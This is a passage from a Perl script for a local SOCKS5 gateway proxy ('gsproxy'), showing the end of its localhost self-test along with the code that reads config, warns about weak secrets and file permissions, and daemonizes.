cannot listen: ' . $! . $NL; my $sport = $lsn->sockport; my $spid = fork(); if (defined $spid && $spid == 0) { fake_socks_server($lsn); exit 0; } sleep 0.3; $ok->(socks_alive($sport), 'socks_alive live'); my $dead = IO::Socket::INET->new(LocalAddr => '127.0.0.1', LocalPort => 0, Proto => 'tcp', Listen => 1, ReuseAddr => 1); my $dport = $dead->sockport; close $dead; $ok->(!socks_alive($dport), 'socks_alive dead'); my $free = IO::Socket::INET->new(LocalAddr => '127.0.0.1', LocalPort => 0, Proto => 'tcp', Listen => 1, ReuseAddr => 1); my $gwport = $free->sockport; close $free; $opt{gateway} = $gwport; $opt{state} = $tmp . '/gsproxy_selftest.state'; $opt{log} = $tmp . '/gsproxy_selftest.log'; open my $sf, '>', $opt{state} or die 'selftest state: ' . $! . $NL; print $sf $sport . $NL . $sport . $NL; close $sf; my $gwpid = start_gateway(); sleep 0.3; my $cli = IO::Socket::INET->new(PeerAddr => '127.0.0.1', PeerPort => $gwport, Proto => 'tcp', Timeout => 3); if ($cli) { $cli->autoflush(1); syswrite($cli, pack('C*', 5, 1, 0)); my $greply = read_exact($cli, 2, 3); $ok->(defined $greply && $greply eq pack('C*', 5, 0), 'gateway socks greeting'); my $host = 'example.com'; syswrite($cli, pack('C*', 5, 1, 0, 3) . pack('C', length($host)) . $host . pack('n', 443)); my $rep = read_exact($cli, 4, 3); $ok->(defined $rep && ord(substr($rep, 1, 1)) == 0, 'gateway CONNECT relayed'); close $cli; } else { $ok->(0, 'gateway connect'); } $gw_auth_user = 'bob'; $gw_auth_pass = 'pw'; my $free2 = IO::Socket::INET->new(LocalAddr => '127.0.0.1', LocalPort => 0, Proto => 'tcp', Listen => 1, ReuseAddr => 1); my $gwport2 = $free2->sockport; close $free2; $opt{gateway} = $gwport2; my $gwpid2 = start_gateway(); sleep 0.3; my $auth_relay_ok = 0; my $cli2 = IO::Socket::INET->new(PeerAddr => '127.0.0.1', PeerPort => $gwport2, Proto => 'tcp', Timeout => 3); if ($cli2) { $cli2->autoflush(1); syswrite($cli2, pack('C*', 5, 1, 2)); my $m2 = read_exact($cli2, 2, 3); if (defined $m2 && ord(substr($m2, 1, 1)) == 2) { syswrite($cli2, pack('C*', 1, 3) . 'bob' . pack('C', 2) . 'pw'); my $ar2 = read_exact($cli2, 2, 3); if (defined $ar2 && ord(substr($ar2, 1, 1)) == 0) { my $host = 'example.com'; syswrite($cli2, pack('C*', 5, 1, 0, 3) . pack('C', length($host)) . $host . pack('n', 443)); my $rep2 = read_exact($cli2, 10, 3); if (defined $rep2 && ord(substr($rep2, 1, 1)) == 0) { syswrite($cli2, 'ping'); my $echo = read_exact($cli2, 4, 3); $auth_relay_ok = 1 if defined $echo && $echo eq 'ping'; } } } close $cli2; } $ok->($auth_relay_ok, 'gateway auth relay end-to-end'); $gw_auth_user = undef; $gw_auth_pass = undef; kill('TERM', $gwpid) if $gwpid; kill('TERM', $gwpid2) if $gwpid2; kill('TERM', $spid) if $spid; waitpid($gwpid, 0) if $gwpid; waitpid($gwpid2, 0) if $gwpid2; waitpid($spid, 0) if $spid; print($fails ? ('SELFTEST FAILED (' . $fails . ')' . $NL) : ('SELFTEST OK' . $NL)); exit($fails ? 1 : 0); } my $rows = read_config($opt{config}); if ($opt{list}) { printf('%-40s %-14s %-6s %s' . $NL, 'ENDPOINT', 'SECRET', 'PORT', 'LABEL'); for my $e (@$rows) { printf('%-40s %-14s %-6d %s' . $NL, $e->{endpoint}, mask($e->{secret}), $e->{port}, $e->{label}); } exit 0; } die 'no usable rows in ' . $opt{config} . $NL unless @$rows; register_secrets(map { $_->{secret} } @$rows); my %port_label; for my $e (@$rows) { if ($e->{port} == $opt{gateway}) { logmsg('warning: gateway port ' . $opt{gateway} . ' equals local port of ' . $e->{label}); } if (defined $port_label{$e->{port}}) { logmsg('warning: local port ' . $e->{port} . ' is used by both ' . $port_label{$e->{port}} . ' and ' . $e->{label}); } else { $port_label{$e->{port}} = $e->{label}; } if (length($e->{secret}) < 8) { logmsg('warning: secret for ' . $e->{label} . ' is only ' . length($e->{secret}) . ' characters'); } } check_config_perms($opt{config}); if (defined $opt{gateway_auth}) { ($gw_auth_user, $gw_auth_pass) = load_gateway_auth(); unless (defined $gw_auth_user) { print 'gateway auth file ' . $opt{gateway_auth} . ' has no user:pass line' . $NL; exit 1; } my @st = stat($opt{gateway_auth}); if (@st && ($st[2] & 0077)) { logmsg('warning: gateway auth file ' . $opt{gateway_auth} . ' is group/world readable; chmod 600'); } } if ($opt{once} || !$opt{daemon}) { guard_start(); run_foreground($rows); exit 0; } if (!$ENV{GSPROXY_DAEMON}) { guard_start(); $ENV{GSPROXY_DAEMON} = 1; my $pid = fork(); if ($pid) { print 'gsproxy daemon started (pid ' . $pid . ')' . $NL; exit 0; } setsid(); open STDOUT, '>>', $opt{log}; open STDERR, '>&STDOUT'; open STDIN, '<', '/dev/null'; } run_foreground($rows); exit 0;